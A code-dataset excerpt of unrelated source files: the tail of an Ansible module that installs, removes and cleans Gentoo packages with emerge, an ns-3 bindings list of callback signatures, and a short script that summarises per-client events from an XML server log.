else: cmd = '%s --sync --quiet --ask=n' % module.emerge_path rc, out, err = module.run_command(cmd) if rc != 0: module.fail_json(msg='could not sync package repositories') # Note: In the 3 functions below, equery is done one-by-one, but emerge is done # in one go. If that is not desirable, split the packages into multiple tasks # instead of joining them together with comma. def emerge_packages(module, packages): p = module.params if not (p['update'] or p['noreplace']): for package in packages: if not query_package(module, package, 'emerge'): break else: module.exit_json(changed=False, msg='Packages already present.') if module.check_mode: module.exit_json(changed=True, msg='Packages would be installed.') args = [] emerge_flags = { 'update': '--update', 'deep': '--deep', 'newuse': '--newuse', 'changed_use': '--changed-use', 'oneshot': '--oneshot', 'noreplace': '--noreplace', 'nodeps': '--nodeps', 'onlydeps': '--onlydeps', 'quiet': '--quiet', 'verbose': '--verbose', 'getbinpkg': '--getbinpkg', 'usepkgonly': '--usepkgonly', 'usepkg': '--usepkg', } for flag, arg in emerge_flags.iteritems(): if p[flag]: args.append(arg) if p['usepkg'] and p['usepkgonly']: module.fail_json(msg='Use only one of usepkg, usepkgonly') cmd, (rc, out, err) = run_emerge(module, packages, *args) if rc != 0: module.fail_json( cmd=cmd, rc=rc, stdout=out, stderr=err, msg='Packages not installed.', ) # Check for SSH error with PORTAGE_BINHOST, since rc is still 0 despite # this error if (p['usepkgonly'] or p['getbinpkg']) \ and 'Permission denied (publickey).' in err: module.fail_json( cmd=cmd, rc=rc, stdout=out, stderr=err, msg='Please check your PORTAGE_BINHOST configuration in make.conf ' 'and your SSH authorized_keys file', ) changed = True for line in out.splitlines(): if re.match(r'(?:>+) Emerging (?:binary )?\(1 of', line): msg = 'Packages installed.' break elif module.check_mode and re.match(r'\[(binary|ebuild)', line): msg = 'Packages would be installed.' break else: changed = False msg = 'No packages installed.' module.exit_json( changed=changed, cmd=cmd, rc=rc, stdout=out, stderr=err, msg=msg, ) def unmerge_packages(module, packages): p = module.params for package in packages: if query_package(module, package, 'unmerge'): break else: module.exit_json(changed=False, msg='Packages already absent.') args = ['--unmerge'] for flag in ['quiet', 'verbose']: if p[flag]: args.append('--%s' % flag) cmd, (rc, out, err) = run_emerge(module, packages, *args) if rc != 0: module.fail_json( cmd=cmd, rc=rc, stdout=out, stderr=err, msg='Packages not removed.', ) module.exit_json( changed=True, cmd=cmd, rc=rc, stdout=out, stderr=err, msg='Packages removed.', ) def cleanup_packages(module, packages): p = module.params if packages: for package in packages: if query_package(module, package, 'unmerge'): break else: module.exit_json(changed=False, msg='Packages already absent.') args = ['--depclean'] for flag in ['quiet', 'verbose']: if p[flag]: args.append('--%s' % flag) cmd, (rc, out, err) = run_emerge(module, packages, *args) if rc != 0: module.fail_json(cmd=cmd, rc=rc, stdout=out, stderr=err) removed = 0 for line in out.splitlines(): if not line.startswith('Number removed:'): continue parts = line.split(':') removed = int(parts[1].strip()) changed = removed > 0 module.exit_json( changed=changed, cmd=cmd, rc=rc, stdout=out, stderr=err, msg='Depclean completed.', ) def run_emerge(module, packages, *args): args = list(args) args.append('--ask=n') if module.check_mode: args.append('--pretend') cmd = [module.emerge_path] + args + packages return cmd, module.run_command(cmd) portage_present_states = ['present', 'emerged', 'installed'] portage_absent_states = ['absent', 'unmerged', 'removed'] def main(): module = AnsibleModule( argument_spec=dict( package=dict(default=None, aliases=['name']), state=dict( default=portage_present_states[0], choices=portage_present_states + portage_absent_states, ), update=dict(default=None, choices=['yes']), deep=dict(default=None, choices=['yes']), newuse=dict(default=None, choices=['yes']), changed_use=dict(default=None, choices=['yes']), oneshot=dict(default=None, choices=['yes']), noreplace=dict(default=None, choices=['yes']), nodeps=dict(default=None, choices=['yes']), onlydeps=dict(default=None, choices=['yes']), depclean=dict(default=None, choices=['yes']), quiet=dict(default=None, choices=['yes']), verbose=dict(default=None, choices=['yes']), sync=dict(default=None, choices=['yes', 'web']), getbinpkg=dict(default=None, choices=['yes']), usepkgonly=dict(default=None, choices=['yes']), usepkg=dict(default=None, choices=['yes']), ), required_one_of=[['package', 'sync', 'depclean']], mutually_exclusive=[['nodeps', 'onlydeps'], ['quiet', 'verbose']], supports_check_mode=True, ) module.emerge_path = module.get_bin_path('emerge', required=True) module.equery_path = module.get_bin_path('equery', required=True) p = module.params if p['sync']: sync_repositories(module, webrsync=(p['sync'] == 'web')) if not p['package']: module.exit_json(msg='Sync successfully finished.') packages = [] if p['package']: packages.extend(p['package'].split(',')) if p['depclean']: if packages and p['state'] not in portage_absent_states: module.fail_json( msg='Depclean can only be used with package when the state is ' 'one of: %s' % portage_absent_states, ) cleanup_packages(module, packages) elif p['state'] in portage_present_states: emerge_packages(module, packages) elif p['state'] in portage_absent_states: unmerge_packages(module, packages) # import module snippets from ansible.module_utils.basic import * main()
gpl-3.0
vincentltz/ns-3-dev-git
src/applications/bindings/callbacks_list.py
331
1249
callback_classes = [ ['bool', 'ns3::Ptr<ns3::NetDevice>', 'ns3::Ptr<ns3::Packet const>', 'unsigned short', 'ns3::Address const&', 'ns3::Address const&', 'ns3::NetDevice::PacketType', 'ns3::empty', 'ns3::empty', 'ns3::empty'], ['bool', 'ns3::Ptr<ns3::NetDevice>', 'ns3::Ptr<ns3::Packet const>', 'unsigned short', 'ns3::Address const&', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'], ['void', 'ns3::Ptr<ns3::Socket>', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'], ['void', 'ns3::Ptr<ns3::Socket>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'], ['void', 'ns3::Ptr<ns3::Socket>', 'ns3::Address const&', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'], ['bool', 'ns3::Ptr<ns3::Socket>', 'ns3::Address const&', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty'], ['void', 'ns3::Ptr<ns3::NetDevice>', 'ns3::Ptr<ns3::Packet const>', 'unsigned short', 'ns3::Address const&', 'ns3::Address const&', 'ns3::NetDevice::PacketType', 'ns3::empty', 'ns3::empty', 'ns3::empty'], ]
gpl-2.0
IceCubeDev/hackerschool
WebServer/1.0/JUNK/simple/LogAnalyse.py
1
1674
__author__ = 'Ivan Dortulov' class Client(object): def __init__(self, id): self.history = ["connect"] self.name = id import xml.etree.ElementTree as ET tree = ET.parse('/home/ivan/Documents/Python/SubTasking/log.xml') root = tree.getroot() clients = [] def find_client(id): for client in clients: if client.name == id: return client return None for event in root.findall("event"): type = event.attrib["value"] if type == "connect": clients.append(Client(event.attrib["from"])) elif type == "disconnect": id = event.attrib["from"] client = find_client(id) if client is not None: client.history.append("disconnect") elif type == "disconnect0": id = event.attrib["from"] client = find_client(id) if client is not None: client.history.append("client disconnect") elif type == "receive": id = event.attrib["from"] data = event.find('data') client = find_client(id) if client is not None: client.history.append("recv: " + data.text.replace("\n", " | ")) elif type == "send": id = event.attrib["from"] data = event.find('data') client = find_client(id) if client is not None: client.history.append("send: " + data.text.replace("\n", " | ")) elif type == "error": id = event.attrib["from"] client = find_client(id) if client is not None: client.history.append("error: " + event.text) for client in clients: print(client.name) for event in client.history: print("\t", event)
gpl-2.0